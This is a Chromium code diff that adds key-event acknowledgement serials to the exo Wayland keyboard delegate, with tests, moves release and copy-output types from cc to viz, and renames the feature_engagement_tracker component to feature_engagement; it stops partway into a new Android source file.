diff --git a/components/exo/keyboard_delegate.h b/components/exo/keyboard_delegate.h
index 9e73cae..de321b7f 100644
--- a/components/exo/keyboard_delegate.h
+++ b/components/exo/keyboard_delegate.h
@@ -32,10 +32,12 @@
   virtual void OnKeyboardLeave(Surface* surface) = 0;
 
   // Called when keyboard key state changed. |pressed| is true when |key|
-  // was pressed and false if it was released.
-  virtual void OnKeyboardKey(base::TimeTicks time_stamp,
-                             ui::DomCode key,
-                             bool pressed) = 0;
+  // was pressed and false if it was released. Should return the serial
+  // number that will be used by the client to acknowledge the change in
+  // key state.
+  virtual uint32_t OnKeyboardKey(base::TimeTicks time_stamp,
+                                 ui::DomCode key,
+                                 bool pressed) = 0;
 
   // Called when keyboard modifier state changed.
   virtual void OnKeyboardModifiers(int modifier_flags) = 0;
diff --git a/components/exo/keyboard_unittest.cc b/components/exo/keyboard_unittest.cc
index 27e9234..0b05bfc 100644
--- a/components/exo/keyboard_unittest.cc
+++ b/components/exo/keyboard_unittest.cc
@@ -36,7 +36,7 @@
   MOCK_METHOD2(OnKeyboardEnter,
                void(Surface*, const std::vector<ui::DomCode>&));
   MOCK_METHOD1(OnKeyboardLeave, void(Surface*));
-  MOCK_METHOD3(OnKeyboardKey, void(base::TimeTicks, ui::DomCode, bool));
+  MOCK_METHOD3(OnKeyboardKey, uint32_t(base::TimeTicks, ui::DomCode, bool));
   MOCK_METHOD1(OnKeyboardModifiers, void(int));
 };
 
@@ -58,6 +58,13 @@
   MOCK_METHOD1(OnKeyboardDestroying, void(Keyboard*));
 };
 
+class TestShellSurface : public ShellSurface {
+ public:
+  explicit TestShellSurface(Surface* surface) : ShellSurface(surface) {}
+
+  MOCK_METHOD1(AcceleratorPressed, bool(const ui::Accelerator& accelerator));
+};
+
 TEST_F(KeyboardTest, OnKeyboardEnter) {
   std::unique_ptr<Surface> surface(new Surface);
   std::unique_ptr<ShellSurface> shell_surface(new ShellSurface(surface.get()));
@@ -302,5 +309,178 @@
   keyboard.reset();
 }
 
+TEST_F(KeyboardTest, AckKeyboardKey) {
+  std::unique_ptr<Surface> surface(new Surface);
+  auto shell_surface = base::MakeUnique<TestShellSurface>(surface.get());
+  gfx::Size buffer_size(10, 10);
+  std::unique_ptr<Buffer> buffer(
+      new Buffer(exo_test_helper()->CreateGpuMemoryBuffer(buffer_size)));
+  surface->Attach(buffer.get());
+  surface->Commit();
+
+  aura::client::FocusClient* focus_client =
+      aura::client::GetFocusClient(ash::Shell::GetPrimaryRootWindow());
+  focus_client->FocusWindow(nullptr);
+
+  MockKeyboardDelegate delegate;
+  std::unique_ptr<Keyboard> keyboard(new Keyboard(&delegate));
+
+  EXPECT_CALL(delegate, CanAcceptKeyboardEventsForSurface(surface.get()))
+      .WillOnce(testing::Return(true));
+  EXPECT_CALL(delegate, OnKeyboardModifiers(0));
+  EXPECT_CALL(delegate,
+              OnKeyboardEnter(surface.get(), std::vector<ui::DomCode>()));
+  focus_client->FocusWindow(surface->window());
+
+  // If we don't set NeedKeyboardAckKeys to true, accelerators are always passed
+  // to ShellSurface.
+  ui::test::EventGenerator generator(ash::Shell::GetPrimaryRootWindow());
+  // Press KEY_W with Ctrl.
+  EXPECT_CALL(delegate, OnKeyboardModifiers(4));
+  EXPECT_CALL(*shell_surface.get(), AcceleratorPressed(ui::Accelerator(
+                                        ui::VKEY_W, ui::EF_CONTROL_DOWN,
+                                        ui::Accelerator::KeyState::PRESSED)))
+      .WillOnce(testing::Return(true));
+  generator.PressKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Release KEY_W.
+  generator.ReleaseKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // If we set NeedKeyboardAckKeys to true, only unhandled accelerators are
+  // passed to ShellSurface.
+  keyboard->SetNeedKeyboardKeyAcks(true);
+
+  // Press KEY_W with Ctrl.
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, true))
+      .WillOnce(testing::Return(1));
+  generator.PressKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Send ack for the key press.
+  EXPECT_CALL(*shell_surface.get(), AcceleratorPressed(ui::Accelerator(
+                                        ui::VKEY_W, ui::EF_CONTROL_DOWN,
+                                        ui::Accelerator::KeyState::PRESSED)))
+      .WillOnce(testing::Return(true));
+  keyboard->AckKeyboardKey(1, false /* handled */);
+
+  // Release KEY_W.
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, false))
+      .WillOnce(testing::Return(2));
+  generator.ReleaseKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Send ack for the key release.
+  keyboard->AckKeyboardKey(2, false /* handled */);
+
+  // Press KEY_W with Ctrl again.
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, true))
+      .WillOnce(testing::Return(3));
+  generator.PressKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Send ack for the key press.
+  // AcceleratorPressed is not called when the accelerator is already handled.
+  keyboard->AckKeyboardKey(3, true /* handled */);
+
+  // Release the key and reset modifier_flags.
+  EXPECT_CALL(delegate, OnKeyboardModifiers(0));
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, false));
+  generator.ReleaseKey(ui::VKEY_W, 0);
+
+  keyboard.reset();
+}
+
+TEST_F(KeyboardTest, AckKeyboardKeyMoveFocus) {
+  std::unique_ptr<Surface> surface(new Surface);
+  auto shell_surface = base::MakeUnique<TestShellSurface>(surface.get());
+  gfx::Size buffer_size(10, 10);
+  std::unique_ptr<Buffer> buffer(
+      new Buffer(exo_test_helper()->CreateGpuMemoryBuffer(buffer_size)));
+  surface->Attach(buffer.get());
+  surface->Commit();
+
+  aura::client::FocusClient* focus_client =
+      aura::client::GetFocusClient(ash::Shell::GetPrimaryRootWindow());
+  focus_client->FocusWindow(nullptr);
+
+  MockKeyboardDelegate delegate;
+  std::unique_ptr<Keyboard> keyboard(new Keyboard(&delegate));
+
+  EXPECT_CALL(delegate, CanAcceptKeyboardEventsForSurface(surface.get()))
+      .WillOnce(testing::Return(true));
+  EXPECT_CALL(delegate, OnKeyboardModifiers(0)).Times(1);
+  EXPECT_CALL(delegate,
+              OnKeyboardEnter(surface.get(), std::vector<ui::DomCode>()));
+  focus_client->FocusWindow(surface->window());
+
+  ui::test::EventGenerator generator(ash::Shell::GetPrimaryRootWindow());
+  keyboard->SetNeedKeyboardKeyAcks(true);
+
+  // Press KEY_W with Ctrl.
+  EXPECT_CALL(delegate, OnKeyboardModifiers(4)).Times(1);
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, true))
+      .WillOnce(testing::Return(1));
+  generator.PressKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Move focus from the window
+  EXPECT_CALL(delegate, OnKeyboardLeave(surface.get()));
+  focus_client->FocusWindow(nullptr);
+
+  // Send ack for the key press. |AcceleratorPressed()| should not be called.
+  keyboard->AckKeyboardKey(1, false /* handled */);
+
+  keyboard.reset();
+}
+
+TEST_F(KeyboardTest, AckKeyboardKeyExpired) {
+  std::unique_ptr<Surface> surface(new Surface);
+  auto shell_surface = base::MakeUnique<TestShellSurface>(surface.get());
+  gfx::Size buffer_size(10, 10);
+  std::unique_ptr<Buffer> buffer(
+      new Buffer(exo_test_helper()->CreateGpuMemoryBuffer(buffer_size)));
+  surface->Attach(buffer.get());
+  surface->Commit();
+
+  aura::client::FocusClient* focus_client =
+      aura::client::GetFocusClient(ash::Shell::GetPrimaryRootWindow());
+  focus_client->FocusWindow(nullptr);
+
+  MockKeyboardDelegate delegate;
+  std::unique_ptr<Keyboard> keyboard(new Keyboard(&delegate));
+
+  EXPECT_CALL(delegate, CanAcceptKeyboardEventsForSurface(surface.get()))
+      .WillOnce(testing::Return(true));
+  EXPECT_CALL(delegate, OnKeyboardModifiers(0));
+  EXPECT_CALL(delegate,
+              OnKeyboardEnter(surface.get(), std::vector<ui::DomCode>()));
+  focus_client->FocusWindow(surface->window());
+
+  ui::test::EventGenerator generator(ash::Shell::GetPrimaryRootWindow());
+  keyboard->SetNeedKeyboardKeyAcks(true);
+
+  // Press KEY_W with Ctrl.
+  EXPECT_CALL(delegate, OnKeyboardModifiers(4));
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, true))
+      .WillOnce(testing::Return(1));
+  generator.PressKey(ui::VKEY_W, ui::EF_CONTROL_DOWN);
+
+  // Keyboard processes pending events as if it's not handled if ack isnt' sent.
+  EXPECT_CALL(*shell_surface.get(), AcceleratorPressed(ui::Accelerator(
+                                        ui::VKEY_W, ui::EF_CONTROL_DOWN,
+                                        ui::Accelerator::KeyState::PRESSED)))
+      .WillOnce(testing::Return(true));
+  // Wait until |ProcessExpiredPendingKeyAcks| is fired.
+  base::RunLoop run_loop;
+  base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(
+      FROM_HERE, run_loop.QuitClosure(),
+      base::TimeDelta::FromMilliseconds(1000));
+  run_loop.Run();
+  RunAllPendingInMessageLoop();
+
+  // Release the key and reset modifier_flags.
+  EXPECT_CALL(delegate, OnKeyboardModifiers(0));
+  EXPECT_CALL(delegate, OnKeyboardKey(testing::_, ui::DomCode::US_W, false));
+  generator.ReleaseKey(ui::VKEY_W, 0);
+
+  keyboard.reset();
+}
+
 }  // namespace
 }  // namespace exo
diff --git a/components/exo/layer_tree_frame_sink_holder.cc b/components/exo/layer_tree_frame_sink_holder.cc
index 795a5e0..e8cf78e 100644
--- a/components/exo/layer_tree_frame_sink_holder.cc
+++ b/components/exo/layer_tree_frame_sink_holder.cc
@@ -40,7 +40,7 @@
 
 void LayerTreeFrameSinkHolder::SetResourceReleaseCallback(
     cc::ResourceId id,
-    const cc::ReleaseCallback& callback) {
+    const viz::ReleaseCallback& callback) {
   DCHECK(!callback.is_null());
   release_callbacks_[id] = callback;
 }
diff --git a/components/exo/layer_tree_frame_sink_holder.h b/components/exo/layer_tree_frame_sink_holder.h
index 65c056f..902313e 100644
--- a/components/exo/layer_tree_frame_sink_holder.h
+++ b/components/exo/layer_tree_frame_sink_holder.h
@@ -9,8 +9,8 @@
 
 #include "base/containers/flat_map.h"
 #include "cc/output/layer_tree_frame_sink_client.h"
-#include "cc/resources/release_callback.h"
 #include "components/exo/surface_observer.h"
+#include "components/viz/common/quads/release_callback.h"
 
 namespace cc {
 class LayerTreeFrameSink;
@@ -32,7 +32,7 @@
 
   bool HasReleaseCallbackForResource(cc::ResourceId id);
   void SetResourceReleaseCallback(cc::ResourceId id,
-                                  const cc::ReleaseCallback& callback);
+                                  const viz::ReleaseCallback& callback);
   int AllocateResourceId();
   base::WeakPtr<LayerTreeFrameSinkHolder> GetWeakPtr();
 
@@ -59,7 +59,7 @@
  private:
   // A collection of callbacks used to release resources.
   using ResourceReleaseCallbackMap =
-      base::flat_map<cc::ResourceId, cc::ReleaseCallback>;
+      base::flat_map<cc::ResourceId, viz::ReleaseCallback>;
   ResourceReleaseCallbackMap release_callbacks_;
 
   Surface* surface_;
diff --git a/components/exo/pointer.cc b/components/exo/pointer.cc
index 71290a87..d607a72 100644
--- a/components/exo/pointer.cc
+++ b/components/exo/pointer.cc
@@ -7,12 +7,12 @@
 #include <utility>
 
 #include "ash/public/cpp/shell_window_ids.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "components/exo/pointer_delegate.h"
 #include "components/exo/pointer_stylus_delegate.h"
 #include "components/exo/surface.h"
 #include "components/exo/wm_helper.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "ui/aura/client/cursor_client.h"
 #include "ui/aura/env.h"
 #include "ui/aura/window.h"
@@ -359,8 +359,8 @@
                 capture_scale_ / display.device_scale_factor();
   host_window()->SetTransform(gfx::GetScaleTransform(gfx::Point(), scale));
 
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
           &Pointer::OnCursorCaptured,
           cursor_capture_weak_ptr_factory_.GetWeakPtr(), hotspot));
 
@@ -369,7 +369,7 @@
 }
 
 void Pointer::OnCursorCaptured(const gfx::Point& hotspot,
-                               std::unique_ptr<cc::CopyOutputResult> result) {
+                               std::unique_ptr<viz::CopyOutputResult> result) {
   if (!focus_surface_)
     return;
 
diff --git a/components/exo/pointer.h b/components/exo/pointer.h
index b69d2c20..98140bc 100644
--- a/components/exo/pointer.h
+++ b/components/exo/pointer.h
@@ -21,7 +21,7 @@
 #include "ui/gfx/geometry/point_f.h"
 #include "ui/gfx/native_widget_types.h"
 
-namespace cc {
+namespace viz {
 class CopyOutputResult;
 }
 
@@ -87,7 +87,7 @@
 
   // Called when cursor snapshot has been captured.
   void OnCursorCaptured(const gfx::Point& hotspot,
-                        std::unique_ptr<cc::CopyOutputResult> result);
+                        std::unique_ptr<viz::CopyOutputResult> result);
 
   // Update |cursor_| to |cursor_bitmap_| transformed for the current display.
   void UpdateCursor();
diff --git a/components/exo/shell_surface.cc b/components/exo/shell_surface.cc
index dab61d693..b129a6ad6 100644
--- a/components/exo/shell_surface.cc
+++ b/components/exo/shell_surface.cc
@@ -188,10 +188,6 @@
   void OnKeyEvent(ui::KeyEvent* event) override {
     // TODO(hidehiko): Handle ESC + SHIFT + COMMAND accelerator key
     // to escape pinned mode.
-    // Handle only accelerators. Do not call Widget::OnKeyEvent that eats focus
-    // management keys (like the tab key) as well.
-    if (GetFocusManager()->ProcessAccelerator(ui::Accelerator(*event)))
-      event->StopPropagation();
   }
 
  private:
diff --git a/components/exo/shell_surface_unittest.cc b/components/exo/shell_surface_unittest.cc
index 832b6c9..b07b532 100644
--- a/components/exo/shell_surface_unittest.cc
+++ b/components/exo/shell_surface_unittest.cc
@@ -360,10 +360,6 @@
   EXPECT_EQ(0, close_call_count);
   shell_surface->GetWidget()->Close();
   EXPECT_EQ(1, close_call_count);
-
-  ui::KeyEvent event(ui::ET_KEY_PRESSED, ui::VKEY_W, ui::EF_CONTROL_DOWN);
-  shell_surface->GetWidget()->OnKeyEvent(&event);
-  EXPECT_EQ(2, close_call_count);
 }
 
 void DestroyShellSurface(std::unique_ptr<ShellSurface>* shell_surface) {
diff --git a/components/exo/surface.cc b/components/exo/surface.cc
index ec1d2f1..d24fd9f 100644
--- a/components/exo/surface.cc
+++ b/components/exo/surface.cc
@@ -17,11 +17,11 @@
 #include "cc/quads/shared_quad_state.h"
 #include "cc/quads/solid_color_draw_quad.h"
 #include "cc/quads/texture_draw_quad.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/exo/buffer.h"
 #include "components/exo/pointer.h"
 #include "components/exo/surface_delegate.h"
 #include "components/exo/surface_observer.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/surfaces/sequence_surface_reference_factory.h"
 #include "components/viz/service/surfaces/surface.h"
 #include "components/viz/service/surfaces/surface_manager.h"
diff --git a/components/exo/wayland/server.cc b/components/exo/wayland/server.cc
index 2cc21e9c..ddaacaa 100644
--- a/components/exo/wayland/server.cc
+++ b/components/exo/wayland/server.cc
@@ -3154,14 +3154,16 @@
     wl_keyboard_send_leave(keyboard_resource_, next_serial(), surface_resource);
     wl_client_flush(client());
   }
-  void OnKeyboardKey(base::TimeTicks time_stamp,
-                     ui::DomCode key,
-                     bool pressed) override {
-    wl_keyboard_send_key(keyboard_resource_, next_serial(),
+  uint32_t OnKeyboardKey(base::TimeTicks time_stamp,
+                         ui::DomCode key,
+                         bool pressed) override {
+    uint32_t serial = next_serial();
+    wl_keyboard_send_key(keyboard_resource_, serial,
                          TimeTicksToMilliseconds(time_stamp), DomCodeToKey(key),
                          pressed ? WL_KEYBOARD_KEY_STATE_PRESSED
                                  : WL_KEYBOARD_KEY_STATE_RELEASED);
     wl_client_flush(client());
+    return serial;
   }
   void OnKeyboardModifiers(int modifier_flags) override {
     xkb_state_update_mask(xkb_state_.get(),
diff --git a/components/feature_engagement/BUILD.gn b/components/feature_engagement/BUILD.gn
new file mode 100644
index 0000000..c79a97a
--- /dev/null
+++ b/components/feature_engagement/BUILD.gn
@@ -0,0 +1,47 @@
+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+if (is_android) {
+  import("//build/config/android/config.gni")
+  import("//build/config/android/rules.gni")
+}
+
+group("feature_engagement") {
+  public_deps = [
+    "//components/feature_engagement/public",
+  ]
+
+  deps = [
+    "//components/feature_engagement/internal",
+  ]
+}
+
+group("unit_tests") {
+  testonly = true
+
+  deps = [
+    "//components/feature_engagement/internal:unit_tests",
+  ]
+
+  data_deps = [
+    ":components_unittests_gtest_filter",
+  ]
+}
+
+source_set("components_unittests_gtest_filter") {
+  testonly = true
+
+  data = [
+    "components_unittests.filter",
+  ]
+}
+
+if (is_android) {
+  java_group("feature_engagement_java") {
+    deps = [
+      "//components/feature_engagement/internal:internal_java",
+      "//components/feature_engagement/public:public_java",
+    ]
+  }
+}
diff --git a/components/feature_engagement_tracker/DEPS b/components/feature_engagement/DEPS
similarity index 100%
rename from components/feature_engagement_tracker/DEPS
rename to components/feature_engagement/DEPS
diff --git a/components/feature_engagement_tracker/OWNERS b/components/feature_engagement/OWNERS
similarity index 100%
rename from components/feature_engagement_tracker/OWNERS
rename to components/feature_engagement/OWNERS
diff --git a/components/feature_engagement_tracker/README.md b/components/feature_engagement/README.md
similarity index 90%
rename from components/feature_engagement_tracker/README.md
rename to components/feature_engagement/README.md
index 9c560d92..9537f39 100644
--- a/components/feature_engagement_tracker/README.md
+++ b/components/feature_engagement/README.md
@@ -1,6 +1,6 @@
-# Feature Engagement Tracker
+# Feature Engagement
 
-The Feature Engagement Tracker provides a client-side backend for displaying
+The Feature Engagement component provides a client-side backend for displaying
 feature enlightenment or in-product help (IPH) with a clean and easy to use API
 to be consumed by the UI frontend. The backend behaves as a black box and takes
 input about user behavior. Whenever the frontend gives a trigger signal that
@@ -97,8 +97,8 @@
 detail below.
 
 *   [Declare your feature](#Declaring-your-feature) and make it available to the
-    `FeatureEngagementTracker`.
-*   [Start using the `FeatureEngagementTracker` class](#Using-the-FeatureEngagementTracker)
+    `feature_engagement::Tracker`.
+*   [Start using the `feature_engagement::Tracker` class](#Using-the-feature_engagement_Tracker)
     by notifying about events, and checking whether In-Product Help should be
     displayed.
 *   [Configure UMA](#Configuring-UMA).
@@ -122,40 +122,40 @@
 There are also a few more places where the feature should be added, so overall
 you would have to add it to the following places:
 
-*   `//components/feature_engagement_tracker/public/feature_constants.cc`:
+*   `//components/feature_engagement/public/feature_constants.cc`:
 
     ```c++
     const base::Feature kIPHMyFunFeature{"IPH_MyFun",
                                          base::FEATURE_DISABLED_BY_DEFAULT};
     ```
 
-*   `//components/feature_engagement_tracker/public/feature_constants.h`:
+*   `//components/feature_engagement/public/feature_constants.h`:
 
     ```c++
     extern const base::Feature kIPHMyFunFeature;
     ```
 
-*   `//components/feature_engagement_tracker/public/feature_list.cc`:
+*   `//components/feature_engagement/public/feature_list.cc`:
     *   Add to `const base::Feature* kAllFeatures[]`.
-*   `//components/feature_engagement_tracker/public/feature_list.h`:
+*   `//components/feature_engagement/public/feature_list.h`:
     *   `DEFINE_VARIATION_PARAM(kIPHMyFunFeature, "IPH_MyFun");`
     *   `VARIATION_ENTRY(kIPHMyFunFeature)`
 
 If the feature will also be used from Java, also add it to:
-`org.chromium.components.feature_engagement_tracker.FeatureConstants` as a
+`org.chromium.components.feature_engagement.FeatureConstants` as a
 `String` constant.
 
-### Using the FeatureEngagementTracker
+### Using the feature_engagement::Tracker
 
-To retrieve the `FeatureEngagementTracker` you need to use your platform
+To retrieve the `feature_engagement::Tracker` you need to use your platform
 specific way for how to retrieve a `KeyedService`. For example for desktop
-platforms and Android, you can use the `FeatureEngagementTrackerFactory` in
-`//chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h`
+platforms and Android, you can use the `feature_engagement::TrackerFactory` in
+`//chrome/browser/feature_engagement/tracker_factory.h`
 to retrieve it from the `Profile` or `BrowserContext`:
 
 ```c++
-feature_engagement_tracker::FeatureEngagementTracker* tracker =
-    FeatureEngagementTrackerFactory::GetForBrowserContext(profile);
+feature_engagement::Tracker* tracker =
+    feature_engagement::TrackerFactory::GetForBrowserContext(profile);
 ```
 
 That service can be first of all used to notify the backend about events:
@@ -168,18 +168,18 @@
 
 ```c++
 bool trigger_help_ui =
-    tracker->ShouldTriggerHelpUI(feature_engagement_tracker::kIPHMyFunFeature);
+    tracker->ShouldTriggerHelpUI(feature_engagement::kIPHMyFunFeature);
 if (trigger_help_ui) {
     // Show IPH UI.
 }
 ```
 
-If `FeatureEngagementTracker::ShouldTriggerHelpUI` return `true` you must
+If `feature_engagement::Tracker::ShouldTriggerHelpUI` return `true` you must
 display the In-Product Help, as it will be tracked as if you showed it. In
 addition you are required to inform when the feature has been dismissed:
 
 ```c++
-tracker->Dismissed(feature_engagement_tracker::kIPHMyFunFeature);
+tracker->Dismissed(feature_engagement::kIPHMyFunFeature);
 ```
 
 
@@ -204,7 +204,7 @@
 
 ## Demo mode
 
-The Feature Engagement Tracker supports a special demo mode, which enables a
+The feature_engagement::Tracker supports a special demo mode, which enables a
 developer or testers to see how the UI looks like without using Chrome
 Variations configuration.
 
@@ -434,10 +434,10 @@
 a debug build of chrome with the following command line arguments:
 
 ```bash
---vmodule=feature_engagement_tracker_impl*=2,model_impl*=2,availability_store*=2,chrome_variations_configuration*=3
+--vmodule=tracker_impl*=2,event_model_impl*=2,persistent_availability_store*=2,chrome_variations_configuration*=3
 ```
 
-## Development of `//components/feature_engagement_tracker`
+## Development of `//components/feature_engagement`
 
 ### Testing
 
@@ -447,8 +447,8 @@
 ```bash
 ninja -C out/Debug components_unittests ;
 ./out/Debug/components_unittests \
-  --test-launcher-filter-file=components/feature_engagement_tracker/components_unittests.filter
+  --test-launcher-filter-file=components/feature_engagement/components_unittests.filter
 ```
 
 When adding new test suites, also remember to add the suite to the filter file:
-`//components/feature_engagement_tracker/components_unittests.filter`.
+`//components/feature_engagement/components_unittests.filter`.
diff --git a/components/feature_engagement_tracker/components_unittests.filter b/components/feature_engagement/components_unittests.filter
similarity index 78%
rename from components/feature_engagement_tracker/components_unittests.filter
rename to components/feature_engagement/components_unittests.filter
index 393d20e..ad53cb611 100644
--- a/components/feature_engagement_tracker/components_unittests.filter
+++ b/components/feature_engagement/components_unittests.filter
@@ -4,11 +4,11 @@
 ConditionValidatorResultTest.*
 EditableConfigurationTest.*
 EventModelImplTest.*
-FailingAvailabilityModelInitFeatureEngagementTrackerImplTest.*
-FailingStoreInitFeatureEngagementTrackerImplTest.*
+FailingAvailabilityModelInitTrackerImplTest.*
+FailingStoreInitTrackerImplTest.*
 FeatureConfigConditionValidatorTest.*
 FeatureConfigEventStorageValidatorTest.*
-FeatureEngagementTrackerImplTest.*
+TrackerImplTest.*
 InitAwareEventModelTest.*
 InMemoryEventStoreTest.*
 LoadFailingEventModelImplTest.*
diff --git a/components/feature_engagement_tracker/internal/BUILD.gn b/components/feature_engagement/internal/BUILD.gn
similarity index 74%
rename from components/feature_engagement_tracker/internal/BUILD.gn
rename to components/feature_engagement/internal/BUILD.gn
index c8690bd0..3e5b25b6 100644
--- a/components/feature_engagement_tracker/internal/BUILD.gn
+++ b/components/feature_engagement/internal/BUILD.gn
@@ -10,8 +10,8 @@
 static_library("internal") {
   visibility = [
     ":*",
-    "//components/feature_engagement_tracker",
-    "//components/feature_engagement_tracker/test:test_support",
+    "//components/feature_engagement",
+    "//components/feature_engagement/test:test_support",
   ]
 
   sources = [
@@ -35,8 +35,6 @@
     "feature_config_condition_validator.h",
     "feature_config_event_storage_validator.cc",
     "feature_config_event_storage_validator.h",
-    "feature_engagement_tracker_impl.cc",
-    "feature_engagement_tracker_impl.h",
     "in_memory_event_store.cc",
     "in_memory_event_store.h",
     "init_aware_event_model.cc",
@@ -60,24 +58,25 @@
     "system_time_provider.cc",
     "system_time_provider.h",
     "time_provider.h",
+    "tracker_impl.cc",
+    "tracker_impl.h",
   ]
 
   public_deps = [
-    "//components/feature_engagement_tracker/internal/proto",
+    "//components/feature_engagement/internal/proto",
   ]
 
   deps = [
     "//base",
-    "//components/feature_engagement_tracker/public",
+    "//components/feature_engagement/public",
     "//components/keyed_service/core",
     "//components/leveldb_proto",
   ]
 
   if (is_android) {
     sources += [
-      "android/feature_engagement_tracker_impl_android.cc",
-      "android/feature_engagement_tracker_impl_android.h",
-      "android/feature_engagement_tracker_jni_registrar.cc",
+      "android/tracker_impl_android.cc",
+      "android/tracker_impl_android.h",
     ]
 
     deps += [ ":jni_headers" ]
@@ -87,10 +86,10 @@
 source_set("unit_tests") {
   testonly = true
 
-  visibility = [ "//components/feature_engagement_tracker:unit_tests" ]
+  visibility = [ "//components/feature_engagement:unit_tests" ]
 
   # IMPORTANT NOTE: When adding new tests, also remember to update the list of
-  # tests in //components/feature_engagement_tracker/components_unittests.filter
+  # tests in //components/feature_engagement/components_unittests.filter
   sources = [
     "availability_model_impl_unittest.cc",
     "chrome_variations_configuration_unittest.cc",
@@ -100,7 +99,6 @@
     "event_model_impl_unittest.cc",
     "feature_config_condition_validator_unittest.cc",
     "feature_config_event_storage_validator_unittest.cc",
-    "feature_engagement_tracker_impl_unittest.cc",
     "in_memory_event_store_unittest.cc",
     "init_aware_event_model_unittest.cc",
     "never_availability_model_unittest.cc",
@@ -111,13 +109,14 @@
     "persistent_event_store_unittest.cc",
     "single_invalid_configuration_unittest.cc",
     "system_time_provider_unittest.cc",
+    "tracker_impl_unittest.cc",
   ]
 
   deps = [
     ":internal",
     "//base/test:test_support",
-    "//components/feature_engagement_tracker/internal/test:test_support",
-    "//components/feature_engagement_tracker/public",
+    "//components/feature_engagement/internal/test:test_support",
+    "//components/feature_engagement/public",
     "//components/leveldb_proto:test_support",
     "//testing/gmock",
     "//testing/gtest",
@@ -126,21 +125,21 @@
 
 if (is_android) {
   android_library("internal_java") {
-    visibility = [ "//components/feature_engagement_tracker:feature_engagement_tracker_java" ]
+    visibility = [ "//components/feature_engagement:feature_engagement_java" ]
 
-    java_files = [ "android/java/src/org/chromium/components/feature_engagement_tracker/internal/FeatureEngagementTrackerImpl.java" ]
+    java_files = [ "android/java/src/org/chromium/components/feature_engagement/internal/TrackerImpl.java" ]
 
     deps = [
       "//base:base_java",
-      "//components/feature_engagement_tracker/public:public_java",
+      "//components/feature_engagement/public:public_java",
     ]
   }
 
   generate_jni("jni_headers") {
     visibility = [ ":*" ]
     sources = [
-      "android/java/src/org/chromium/components/feature_engagement_tracker/internal/FeatureEngagementTrackerImpl.java",
+      "android/java/src/org/chromium/components/feature_engagement/internal/TrackerImpl.java",
     ]
-    jni_package = "components/feature_engagement_tracker/internal"
+    jni_package = "components/feature_engagement/internal"
   }
 }
diff --git a/components/feature_engagement/internal/android/java/src/org/chromium/components/feature_engagement/internal/TrackerImpl.java b/components/feature_engagement/internal/android/java/src/org/chromium/components/feature_engagement/internal/TrackerImpl.java
new file mode 100644
index 0000000..abff53f
--- /dev/null
+++ b/components/feature_engagement/internal/android/java/src/org/chromium/components/feature_engagement/internal/TrackerImpl.java
@@ -0,0 +1,79 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.components.feature_engagement.internal;
+
+import org.chromium.base.Callback;
+import org.chromium.base.annotations.CalledByNative;
+import org.chromium.base.annotations.JNINamespace;
+import org.chromium.components.feature_engagement.Tracker;
+
+/**
+ * Java side of the JNI bridge between TrackerImpl in Java
+ * and C++. All method calls are delegated to the native C++ class.
+ */
+@JNINamespace("feature_engagement")
+public class TrackerImpl implements Tracker {
+    /**
+     * The pointer to the feature_engagement::TrackerImplAndroid JNI bridge.
+     */
+    private long mNativePtr;
+
+    @CalledByNative
+    private static TrackerImpl create(long nativePtr) {
+        return new TrackerImpl(nativePtr);
+    }
+
+    private TrackerImpl(long nativePtr) {
+        mNativePtr = nativePtr;
+    }
+
+    @Override
+    public void notifyEvent(String event) {
+        assert mNativePtr != 0;
+        nativeNotifyEvent(mNativePtr, event);
+    }
+
+    @Override
+    public boolean shouldTriggerHelpUI(String feature) {
+        assert mNativePtr != 0;
+        return nativeShouldTriggerHelpUI(mNativePtr, feature);
+    }
+
+    @Override
+    public void dismissed(String feature) {
+        assert mNativePtr != 0;
+        nativeDismissed(mNativePtr, feature);
+    }
+
+    @Override
+    public boolean isInitialized() {
+        assert mNativePtr != 0;
+        return nativeIsInitialized(mNativePtr);
+    }
+
+    @Override
+    public void addOnInitializedCallback(Callback<Boolean> callback) {
+        assert mNativePtr != 0;
+        nativeAddOnInitializedCallback(mNativePtr, callback);
+    }
+
+    @CalledByNative
+    private void clearNativePtr() {
+        mNativePtr = 0;
+    }
+
+    @CalledByNative
+    private long getNativePtr() {
+        assert mNativePtr != 0;
+        return mNativePtr;
+    }
+
+    private native void nativeNotifyEvent(long nativeTrackerImplAndroid, String event);
+    private native boolean nativeShouldTriggerHelpUI(long nativeTrackerImplAndroid, String feature);
+    private native void nativeDismissed(long nativeTrackerImplAndroid, String feature);
+    private native boolean nativeIsInitialized(long nativeTrackerImplAndroid);
+    private native void nativeAddOnInitializedCallback(
+            long nativeTrackerImplAndroid, Callback<Boolean> callback);
+}
diff --git a/components/feature_engagement/internal/android/tracker_impl_android.cc b/components/feature_engagement/internal/android/tracker_impl_android.cc
new file mode 100644
index 0000000..812274e
--- /dev/null
